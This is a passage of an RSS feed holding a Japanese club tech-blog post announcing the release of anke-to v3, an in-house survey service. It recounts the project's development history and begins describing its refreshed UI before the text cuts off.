<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[anke-to v3 をリリースしました！！🎉]]></title><description><![CDATA[<h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2><p>&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3001;SysAd&#x73ED;&#x306E; <a href="https://trap.jp/author/cp20/">@cp20</a> &#x3067;&#x3059;&#x3002;SysAd&#x73ED;&#x3068;&#x3057;&#x3066;&#x8A18;&#x4E8B;&#x3092;&#x66F8;&#x304F;&#x306E;&#x306F;&#x4E45;&#x3057;&#x3076;&#x308A; (&#x3082;&#x3057;&#x304B;&#x3057;&#x305F;&#x3089;&#x521D;&#x3081;&#x3066;&#xFF1F;) &#x3067;&#x3059;&#x306D;&#x3002;&#x4ECA;&#x56DE;&#x306F;</p>]]></description><link>https://trap.jp/post/2930/</link><guid isPermaLink="false">69ef1461e2394c00016eaca8</guid><category><![CDATA[SysAd班]]></category><category><![CDATA[SysAdTechBlog]]></category><dc:creator><![CDATA[cp20]]></dc:creator><pubDate>Thu, 30 Apr 2026 09:00:46 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/anke-to-v3.png" medium="image"/><content:encoded><![CDATA[<h2 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h2><img src="https://trap.jp/content/images/2026/04/anke-to-v3.png" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;"><p>&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3001;SysAd&#x73ED;&#x306E; <a href="https://trap.jp/author/cp20/">@cp20</a> &#x3067;&#x3059;&#x3002;SysAd&#x73ED;&#x3068;&#x3057;&#x3066;&#x8A18;&#x4E8B;&#x3092;&#x66F8;&#x304F;&#x306E;&#x306F;&#x4E45;&#x3057;&#x3076;&#x308A; (&#x3082;&#x3057;&#x304B;&#x3057;&#x305F;&#x3089;&#x521D;&#x3081;&#x3066;&#xFF1F;) &#x3067;&#x3059;&#x306D;&#x3002;&#x4ECA;&#x56DE;&#x306F;&#x7686;&#x3055;&#x3093;&#x306B;&#x304A;&#x77E5;&#x3089;&#x305B;&#x3057;&#x305F;&#x3044;&#x3053;&#x3068;&#x304C;&#x3042;&#x3063;&#x3066;&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3092;&#x66F8;&#x3044;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x30BF;&#x30A4;&#x30C8;&#x30EB;&#x306B;&#x3042;&#x308B;&#x306E;&#x3067;&#x3082;&#x3046;&#x5206;&#x304B;&#x3063;&#x3066;&#x3044;&#x308B;&#x304B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;&#x3001;&#x3001;</p><!--kg-card-begin: html--><p style="font-size: 3rem; font-weight: bold;">anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#x1F389;</p><!--kg-card-end: html--><p>&#x3061;&#x306A;&#x307F;&#x306B;&#x4ECA;&#x307E;&#x3067;&#x52D5;&#x3044;&#x3066;&#x3044;&#x305F;&#x30D0;&#x30FC;&#x30B8;&#x30E7;&#x30F3;&#x306F;&#x5B9F;&#x306F; v1 &#x3067;&#x3059;&#x3002;&#x958B;&#x767A;&#x3055;&#x308C;&#x305F;&#x306E;&#x306F;&#x76F8;&#x5F53;&#x524D;&#x3067;&#x3001;&#x4F55;&#x5E74;&#x3082;&#x524D;&#x304B;&#x3089;&#x5B9F;&#x8CEA;&#x7684;&#x306B;&#x30E1;&#x30F3;&#x30C6;&#x3055;&#x308C;&#x3066;&#x3044;&#x306A;&#x3044;&#x3088;&#x3046;&#x306A;&#x72B6;&#x6CC1;&#x3067;&#x3057;&#x305F;&#x3002;&#x3048;&#x3001;v2 &#x306F;&#x306A;&#x3044;&#x306E;&#x304B;&#x3063;&#x3066;&#xFF1F;&#x3000;&#x958B;&#x767A;&#x9014;&#x4E2D;&#x3067;&#x30E1;&#x30F3;&#x30D0;&#x30FC;&#x304C;&#x7ACB;&#x3061;&#x6D88;&#x3048;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;&#x306E;&#x3067;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3055;&#x308C;&#x308B;&#x3053;&#x3068;&#x306A;&#x304F;&#x6D88;&#x3048;&#x307E;&#x3057;&#x305F;&#x3001;&#x3001;&#x3001;</p><h2 id="%E3%83%AA%E3%83%AA%E3%83%BC%E3%82%B9%E3%81%AB%E8%87%B3%E3%82%8B%E3%81%BE%E3%81%A7%E3%81%AE%E9%81%93%E3%81%AE%E3%82%8A">&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x306B;&#x81F3;&#x308B;&#x307E;&#x3067;&#x306E;&#x9053;&#x306E;&#x308A;</h2><p>&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x307E;&#x3067;&#x306E;&#x7D4C;&#x7DEF;&#x3092;&#x3082;&#x3046;&#x5C11;&#x3057;&#x8A73;&#x3057;&#x304F;&#x898B;&#x3066;&#x3044;&#x304D;&#x307E;&#x3057;&#x3087;&#x3046;&#x3002;</p><h3 id="anke-to-v3-%E7%99%BA%E8%B6%B3">anke-to v3 &#x767A;&#x8DB3;</h3><p>anke-to v3 &#x306E;&#x8A71;&#x304C;&#x6301;&#x3061;&#x4E0A;&#x304C;&#x3063;&#x305F;&#x306E;&#x306F;2023&#x5E74;&#x306E;11&#x6708;&#x3042;&#x305F;&#x308A;&#x3067;&#x3001;12&#x6708;&#x3042;&#x305F;&#x308A;&#x304B;&#x3089;&#x4ED5;&#x69D8;&#x6C7A;&#x3081;&#x306A;&#x3069;&#x3092;&#x9032;&#x3081;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x6700;&#x521D;&#x306E;&#x6642;&#x70B9;&#x3067;&#x306F; v2 &#x3092;&#x5F15;&#x304D;&#x7D99;&#x3044;&#x3067;&#x958B;&#x767A;&#x3092;&#x9032;&#x3081;&#x308B;&#x4E88;&#x5B9A;&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x30D5;&#x30ED;&#x30F3;&#x30C8;&#x30A8;&#x30F3;&#x30C9;&#x306F;&#x5B8C;&#x5168;&#x306B; v2 &#x306E;&#x30B3;&#x30FC;&#x30C9;&#x306F;&#x7F6E;&#x3044;&#x3066;&#x304A;&#x3044;&#x3066; v3 &#x306E;&#x958B;&#x767A;&#x3092;&#x9032;&#x3081;&#x3066;&#x3001;&#x30D0;&#x30C3;&#x30AF;&#x30A8;&#x30F3;&#x30C9;&#x306F; v1 &#x306E;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x30D9;&#x30FC;&#x30B9;&#x306B; v3 &#x306E;&#x958B;&#x767A;&#x3092;&#x9032;&#x3081;&#x308B;&#x3053;&#x3068;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x521D;&#x671F;&#x30E1;&#x30F3;&#x30D0;&#x30FC;&#x306F;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x304C; <a href="https://trap.jp/author/kaitoyama/">@kaitoyama</a> &#x3067;&#x3001;&#x30AF;&#x30E9;&#x30A4;&#x30A2;&#x30F3;&#x30C8;&#x304C; <a href="https://trap.jp/author/cp20/">@cp20</a> <a href="https://trap.jp/author/rei/">@rei</a> <a href="https://trap.jp/author/24take/">@24take</a> &#x3067;&#x3057;&#x305F;&#x3002;</p><p>anke-to v3 &#x306F;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x5237;&#x65B0;&#x3057;&#x3066;&#x4FDD;&#x5B88;&#x6027;&#x3092;&#x5411;&#x4E0A;&#x3055;&#x305B;&#x308B;&#x306E;&#x306F;&#x3082;&#x3061;&#x308D;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x65B0;&#x3057;&#x3044;&#x6A5F;&#x80FD;&#x3068;&#x3057;&#x3066;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306E;&#x4E0B;&#x66F8;&#x304D;&#x3001;&#x81EA;&#x52D5;&#x30EA;&#x30DE;&#x30A4;&#x30F3;&#x30C9;&#x3001;&#x533F;&#x540D;&#x56DE;&#x7B54;&#x3001;&#x8907;&#x6570;&#x56DE;&#x7B54;&#x306E;&#x5236;&#x9650;&#x3001;&#x8CEA;&#x554F;&#x306E;&#x8907;&#x88FD;&#x3001;Markdown &#x5BFE;&#x5FDC;&#x3001;&#x306A;&#x3069;&#x3092;&#x76DB;&#x308A;&#x8FBC;&#x3080;&#x4E88;&#x5B9A;&#x3067;&#x3057;&#x305F;&#x3002;&#x3082;&#x3061;&#x308D;&#x3093;&#x3084;&#x3084;&#x53E4;&#x304F;&#x3066;&#x4F7F;&#x3044;&#x3065;&#x3089;&#x3044;UI&#x3082;&#x5237;&#x65B0;&#x3059;&#x308B;&#x4E88;&#x5B9A;&#x3067;&#x3057;&#x305F;&#x3002;</p><p>&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x306F;3&#x304B;&#x6708;&#xFF5E;&#x534A;&#x5E74;&#x3050;&#x3089;&#x3044;&#x3067;&#x5B9F;&#x88C5;&#x3067;&#x304D;&#x308B;&#x304B;&#x306A;&#x30FC;&#x3068;&#x305F;&#x304B;&#x3092;&#x304F;&#x304F;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x3001;&#x3001;</p><h3 id="%E8%A3%8F%E3%83%8F%E3%83%83%E3%82%AB%E3%82%BD%E3%83%B3">&#x88CF;&#x30CF;&#x30C3;&#x30AB;&#x30BD;&#x30F3;</h3><p>2023&#x5E74;&#x306E;&#x51AC;&#x30CF;&#x30C3;&#x30AB;&#x30BD;&#x30F3;&#x3067;&#x7686;&#x304C;&#x9811;&#x5F35;&#x3063;&#x3066;&#x3044;&#x308B;&#x4E2D;&#x3001;&#x30DC;&#x30AF; (&#x305F;&#x3061;) &#x306F; anke-to v3 &#x306E;&#x958B;&#x767A;&#x306B;&#x52E4;&#x3057;&#x3093;&#x3067;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x601D;&#x3063;&#x305F;&#x3088;&#x308A;&#x5B9F;&#x88C5;&#x304C;&#x5927;&#x5909;&#x3060;&#x3063;&#x305F;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x958B;&#x767A;&#x306F;&#x4E00;&#x5B9A;&#x9032;&#x307F;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x306F;&#x30AF;&#x30E9;&#x30A4;&#x30A2;&#x30F3;&#x30C8;&#x306E;&#x65B9;&#x304C;&#x304B;&#x306A;&#x308A;&#x9032;&#x6357;&#x304C;&#x751F;&#x307E;&#x308C;&#x3066;&#x3044;&#x3066;&#x3001;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x304C;&#x5B8C;&#x6210;&#x3059;&#x308B;&#x306E;&#x3092;&#x5F85;&#x3063;&#x3066;&#x3044;&#x308B;&#x3068;&#x3044;&#x3063;&#x305F;&#x7B87;&#x6240;&#x304C;&#x591A;&#x304F;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x306A;&#x306E;&#x3067;&#x5C11;&#x3057;&#x653E;&#x7F6E;&#x6C17;&#x5473;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="%E5%81%9C%E6%BB%9E%E6%9C%9F">&#x505C;&#x6EDE;&#x671F;</h3><p>&#x3057;&#x304B;&#x3057;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x5074;&#x304C;&#x601D;&#x3046;&#x3088;&#x3046;&#x306B;&#x9032;&#x307E;&#x305A;&#x3001;&#x65B0;&#x3057;&#x304F;&#x5165;&#x3063;&#x3066;&#x304F;&#x308C;&#x305F;&#x30E1;&#x30F3;&#x30D0;&#x30FC;&#x306B;&#x3082;&#x4E0A;&#x624B;&#x304F;&#x30BF;&#x30B9;&#x30AF;&#x3092;&#x632F;&#x308C;&#x305A;&#x3001;&#x958B;&#x767A;&#x304C;&#x975E;&#x5E38;&#x306B;&#x505C;&#x6EDE;&#x6C17;&#x5473;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x3053;&#x306E;&#x72B6;&#x614B;&#x304C;&#x7D9A;&#x3044;&#x305F;&#x3089; anke-to v3 &#x306F; v2 &#x3068;&#x540C;&#x3058;&#x672B;&#x8DEF;&#x3092;&#x8FBF;&#x3063;&#x3066;&#x3044;&#x305F;&#x53EF;&#x80FD;&#x6027;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p><h3 id="%E7%9C%9F%E6%89%93%E7%99%BB%E5%A0%B4">&#x771F;&#x6253;&#x767B;&#x5834;</h3><p>&#x3057;&#x304B;&#x3057;2025&#x5E74;&#x524D;&#x671F;&#x306E;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30C8;&#x6240;&#x5C5E;&#x3067; <a href="https://trap.jp/author/eraxyso/">@Eraxyso</a> &#x304C;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x5074;&#x306E;&#x30E1;&#x30F3;&#x30D0;&#x30FC;&#x3068;&#x3057;&#x3066;&#x52A0;&#x5165;&#x3057;&#x3066;&#x304F;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;&#x305D;&#x3057;&#x3066;&#x7740;&#x5B9F;&#x306B;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x5074;&#x306E;&#x30BF;&#x30B9;&#x30AF;&#x3092;&#x9032;&#x3081;&#x3066;&#x304F;&#x308C;&#x3066;&#x3001;&#x306A;&#x3093;&#x3068;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x304C;&#x4E00;&#x901A;&#x308A;&#x5B8C;&#x6210;&#x3057;&#x307E;&#x3057;&#x305F;(!!)</p><p>&#x305D;&#x3057;&#x305F;&#x3089;&#x30AF;&#x30E9;&#x30A4;&#x30A2;&#x30F3;&#x30C8;&#x3068;&#x7E4B;&#x3052;&#x3066;&#x307F;&#x308B;&#x308F;&#x3051;&#x3067;&#x3059;&#x3088;&#x3002;&#x52D5;&#x304B;&#x306A;&#x3044;&#x308F;&#x3051;&#x3067;&#x3059;&#x3088;&#x3002;&#x56F0;&#x3063;&#x305F;&#x306D;&#x3002;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x5074;&#x3067;&#x6A5F;&#x80FD;&#x304C;&#x8DB3;&#x308A;&#x3066;&#x306A;&#x3044;&#x90E8;&#x5206;&#x3001;&#x5B9F;&#x88C5;&#x306B;&#x30D0;&#x30B0;&#x304C;&#x3042;&#x308B;&#x90E8;&#x5206;&#x3082;&#x3042;&#x308C;&#x3070;&#x3001;&#x30AF;&#x30E9;&#x30A4;&#x30A2;&#x30F3;&#x30C8;&#x3067;&#x3082;&#x6A5F;&#x80FD;&#x4E0D;&#x8DB3;&#x3084;&#x30D0;&#x30B0;&#x304C;&#x5927;&#x91CF;&#x306B;&#x898B;&#x3064;&#x304B;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x3053;&#x3053;&#x304B;&#x3089;&#x306F;&#x3053;&#x308C;&#x3092;&#x6F70;&#x3057;&#x3066;&#x3044;&#x304F;&#x4F5C;&#x696D;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p><h3 id="%E3%83%AA%E3%83%AA%E3%83%BC%E3%82%B9%E3%81%99%E3%82%8B%E3%81%9E%E9%80%B2%E6%8D%97%E4%BC%9A">&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3059;&#x308B;&#x305E;&#x9032;&#x6357;&#x4F1A;</h3><p>2026&#x5E74;1&#x6708;&#x3054;&#x308D;&#x304B;&#x3089;&#x5BFE;&#x9762;&#x306E;&#x9032;&#x6357;&#x4F1A;&#x3092;&#x7ACB;&#x3066;&#x3066;&#x3001;&#x305D;&#x306E;&#x5834;&#x3067;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3059;&#x308B;&#x3068;&#x3053;&#x308D;&#x307E;&#x3067;&#x958B;&#x767A;&#x3059;&#x308B;&#x3068;&#x3053;&#x308D;&#x3092;&#x76EE;&#x6A19;&#x306B;&#x4F5C;&#x696D;&#x3092;&#x9032;&#x3081;&#x307E;&#x3057;&#x305F;&#x3002;&#x89E6;&#x308C;&#x3070;&#x89E6;&#x308B;&#x307B;&#x3069;&#x30D0;&#x30B0;&#x304C;&#x898B;&#x3064;&#x304B;&#x308B;&#x306E;&#x3067;&#x3001;&#x3072;&#x305F;&#x3059;&#x3089;&#x30D0;&#x30B0;&#x76F4;&#x3057;&#x4F5C;&#x696D;&#x306B;&#x8FFD;&#x308F;&#x308C;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x3059;&#x308B;&#x3068;&#x30D0;&#x30B0;&#x304C;&#x3060;&#x3093;&#x3060;&#x3093;&#x306A;&#x304F;&#x306A;&#x3063;&#x3066;&#x304D;&#x3066;&#x3001;&#x305D;&#x308D;&#x305D;&#x308D;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x3066;&#x3082;&#x826F;&#x3044;&#x306E;&#x3067;&#x306F;&#xFF1F;&#x3068;&#x3044;&#x3046;&#x611F;&#x3058;&#x306B;&#x306A;&#x3063;&#x3066;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x30AF;&#x30E9;&#x30A4;&#x30A2;&#x30F3;&#x30C8;&#x306E;&#x30C7;&#x30B6;&#x30A4;&#x30F3;&#x9762;&#x306F; <a href="https://trap.jp/author/uni_kakurenbo/">@uni_kakurenbo</a> &#x306B;&#x3082;&#x624B;&#x4F1D;&#x3063;&#x3066;&#x3082;&#x3089;&#x3044;&#x306A;&#x304C;&#x3089;&#x5B9F;&#x88C5;&#x3092;&#x9032;&#x3081;&#x3066;&#x3001;&#x3064;&#x3044;&#x306B;2026&#x5E74;4&#x6708;13&#x65E5;&#x3001;&#x9042;&#x306B; anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;</p><h3 id="%E3%83%95%E3%82%A3%E3%83%BC%E3%83%89%E3%83%90%E3%83%83%E3%82%AF%E5%AF%BE%E5%BF%9C">&#x30D5;&#x30A3;&#x30FC;&#x30C9;&#x30D0;&#x30C3;&#x30AF;&#x5BFE;&#x5FDC;</h3><p>&#x3061;&#x3083;&#x3093;&#x3068;&#x4F5C;&#x308A;&#x8FBC;&#x3093;&#x3067;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x305F;&#x306E;&#x3067;&#x597D;&#x610F;&#x7684;&#x306A;&#x610F;&#x898B;&#x3092;&#x305F;&#x304F;&#x3055;&#x3093;&#x9802;&#x3044;&#x3066;&#x975E;&#x5E38;&#x306B;&#x5B09;&#x3057;&#x3044;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x305D;&#x306E;&#x4E00;&#x65B9;&#x3067;&#x30D0;&#x30B0;&#x3084;&#x6A5F;&#x80FD;&#x8981;&#x671B;&#x304C;&#x591A;&#x6570;&#x821E;&#x3044;&#x8FBC;&#x3093;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;&#x7279;&#x306B;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x76F4;&#x5F8C;&#x306F;&#x5927;&#x91CF;&#x306E;&#x30D5;&#x30A3;&#x30FC;&#x30C9;&#x30D0;&#x30C3;&#x30AF;&#x304C;&#x5C4A;&#x3044;&#x3066;&#x3001;&#x305D;&#x308C;&#x3089;&#x306B;&#x7D20;&#x65E9;&#x304F;&#x5BFE;&#x5FDC;&#x3057;&#x3066;&#x3044;&#x304F;&#x4F5C;&#x696D;&#x3067;&#x3057;&#x305F;&#x3002;</p><p>&#x30AF;&#x30E9;&#x30A4;&#x30A2;&#x30F3;&#x30C8;&#x5074;&#x306F;&#x8CA0;&#x50B5;&#x3092;&#x3059;&#x3079;&#x3066;&#x6368;&#x3066;&#x3066;&#x4F5C;&#x308A;&#x76F4;&#x3057;&#x305F;&#x304A;&#x304B;&#x3052;&#x3067;&#x7D20;&#x65E9;&#x304F;&#x30D5;&#x30A3;&#x30FC;&#x30C9;&#x30D0;&#x30C3;&#x30AF;&#x3092;&#x53D6;&#x308A;&#x8FBC;&#x3080;&#x4E0B;&#x5730;&#x3092;&#x3064;&#x304F;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;&#x4E00;&#x65B9;&#x3067;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x5074;&#x306F;&#x30C7;&#x30FC;&#x30BF;&#x30D9;&#x30FC;&#x30B9;&#x8A2D;&#x8A08;&#x306A;&#x3069;&#x306E;&#x5909;&#x3048;&#x3065;&#x3089;&#x3044;&#x90E8;&#x5206;&#x304C;&#x3084;&#x3084;&#x8CA0;&#x50B5;&#x3068;&#x3057;&#x3066;&#x6B8B;&#x3063;&#x3066;&#x304A;&#x308A;&#x3001;&#x4ECA;&#x5F8C;&#x3069;&#x3046;&#x3084;&#x3063;&#x3066;&#x89E3;&#x6D88;&#x3057;&#x3066;&#x3044;&#x304F;&#x304B;&#x3068;&#x3044;&#x3063;&#x305F;&#x3068;&#x3053;&#x308D;&#x3067;&#x3059;&#x3002;</p><h2 id="%E6%96%B0%E6%A9%9F%E8%83%BD%E7%B4%B9%E4%BB%8B%E3%82%B3%E3%83%BC%E3%83%8A%E3%83%BC">&#x65B0;&#x6A5F;&#x80FD;&#x7D39;&#x4ECB;&#x30B3;&#x30FC;&#x30CA;&#x30FC;</h2><p>anke-to v3 &#x3067;&#x306F; v1 &#x306B;&#x6BD4;&#x3079;&#x3066;&#x305F;&#x304F;&#x3055;&#x3093;&#x306E;&#x65B0;&#x6A5F;&#x80FD;&#x3092;&#x5B9F;&#x88C5;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#xFF01;&#x3000;6&#x5E74;&#x524D;(!) &#x306B;&#x66F8;&#x304B;&#x308C;&#x305F; anke-to v1 &#x306E;&#x7D39;&#x4ECB;&#x8A18;&#x4E8B;&#x3068;&#x898B;&#x6BD4;&#x3079;&#x3066;&#x307F;&#x308B;&#x3068;&#x9762;&#x767D;&#x3044;&#x304B;&#x3082;&#x3057;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002;</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://trap.jp/post/955"><div class="kg-bookmark-content"><div class="kg-bookmark-title">&#x90E8;&#x5185;&#x88FD;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x30B5;&#x30FC;&#x30D3;&#x30B9; anke-to &#x306E;&#x7D39;&#x4ECB;</div><div class="kg-bookmark-description">&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3001;@60&#x3067;&#x3059;&#x3002;&#x3053;&#x3061;&#x3089;&#x306F;&#x3001;traP SysAd&#x73ED;&#x3067;&#x904B;&#x7528;&#x4E2D;&#x306E; &#x90E8;&#x5185;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x30B5;&#x30FC;&#x30D3;&#x30B9; anke-to &#x306E;&#x7D39;&#x4ECB;&#x8A18;&#x4E8B;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x958B;&#x767A;&#x306B;&#x81F3;&#x308B;&#x307E;&#x3067;&#x306E;&#x7D4C;&#x7DEF;&#x3001;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x306E;&#x6982;&#x8981;&#x3001;&#x958B;&#x767A;&#x306E;&#x6D41;&#x308C;&#x306B;&#x3064;&#x3044;&#x3066;&#x304A;&#x8A71;&#x3057;&#x3057;&#x3066;&#x3044;&#x304D;&#x307E;&#x3059;&#x3002;traP&#x306E;&#x90E8;&#x5185;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x3084;SysAd&#x73ED;&#x306E;&#x958B;&#x767A;&#x306B;&#x8208;&#x5473;&#x306E;&#x3042;&#x308B;&#x65B9;&#x306A;&#x3069;&#x306B;&#x8AAD;&#x3093;&#x3067;&#x3082;&#x3089;&#x3048;&#x308B;&#x3068;&#x5B09;&#x3057;&#x3044;&#x3067;&#x3059;&#xFF01; (SysAd&#x306F; &#x201C;System Administrator&#x201D; &#x306E;&#x7565;&#x8A9E;&#x3067;&#x3001;&#x3053;&#x306E;&#x73ED;&#x3067;&#x306F;&#x90E8;&#x5185;&#x5411;&#x3051;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x306E;&#x958B;&#x767A;&#x30FB;&#x904B;&#x7528;&#x3092;&#x884C;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x8A73;&#x3057;&#x304F;&#x306F; SysAd&#x73ED;&#x306E;&#x7D39;&#x4ECB;&#x30DA;&#x30FC;&#x30B8;[/sysad/] &#x3092;&#x3054;&#x89A7;&#x304F;&#x3060;&#x3055;&#x3044;&#xFF01;) &#x3082;&#x304F;&#x3058; 1. &#x958B;&#x767A;&#x307E;&#x3067;&#x306E;&#x7D4C;&#x7DEF; 2. &#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x306E;&#x6982;&#x8981; 3. &#x4F5C;&#x6210;&#x3055;&#x308C;&#x305F;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306E;&#x4F8B; 4. &#x958B;&#x767A;&#x306B;&#x3064;&#x3044;&#x3066; 5. anke-to&#x306E;&#x3053;&#x308C;&#x304B;&#x3089; &#x958B;&#x767A;&#x307E;&#x3067;&#x306E;&#x7D4C;&#x7DEF;&#x80CC;&#x666F;traP&#x3067;&#x306F;&#x3001;&#x30E1;&#x30A4;&#x30F3;&#x306E;&#x30B3;&#x30DF;&#x30E5;&#x30CB;&#x30B1;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x30C4;&#x30FC;&#x30EB;&#x3068;&#x3057;&#x3066;&#x3001;&#x90E8;&#x5185;&#x88FD;&#x30C1;&#x30E3;&#x30C3;&#x30C8;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x306E;traQ&#x3092;&#x4F7F;&#x7528;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;(traQ&#x306B;&#x3064;&#x3044;&#x3066;&#x306E;&#x8A73;&#x7D30;&#x306F;&#x3001;&#x30D6;&#x30ED;&#x30B0;&#x8A18;&#x4E8B; &#x90E8;&#x5185;&#x88FD;&#x30C1;&#x30E3;&#x30C3;&#x30C8;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x300C;traQ&#x300D;UI&#x306E;&#x3053;&#x308C;&#x307E;&#x3067; [/post/886/] &#x304A;&#x3088;&#x3073; &#x90E8;&#x5185;&#x88FD;&#x30C1;&#x30E3;&#x30C3;&#x30C8;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x300C;traQ&#x300D;UI&#x306E;&#x3053;&#x308C;&#x304B;&#x3089; [/post/</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://trap.jp/content/images/size/w256h256/2020/01/traP_logo_icon.png" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;"><span class="kg-bookmark-author">&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP</span><span class="kg-bookmark-publisher">60</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://trap.jp/content/images/2020/03/----------2020-03-16-22.53.10.png" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;"></div></a></figure><h3 id="ui%E5%88%B7%E6%96%B0">UI&#x5237;&#x65B0;</h3><p>&#x3053;&#x308C;&#x304C;&#x6700;&#x3082;&#x5927;&#x304D;&#x3044;&#x30DD;&#x30A4;&#x30F3;&#x30C8;&#x304B;&#x3082;&#x3057;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002;anke-to v1 &#x306F;&#x73FE;&#x4EE3;&#x304B;&#x3089;&#x3059;&#x308B;&#x3068;&#x3061;&#x3087;&#x3063;&#x3068;&#x53E4;&#x3055;&#x3092;&#x611F;&#x3058;&#x3055;&#x305B;&#x308B;&#x3088;&#x3046;&#x306A; UI &#x3067;&#x3057;&#x305F;&#x304C;&#x3001;&#x305D;&#x308C;&#x3092;&#x73FE;&#x4EE3;&#x98A8;&#x306E;&#x30E2;&#x30C0;&#x30F3;&#x306A; UI 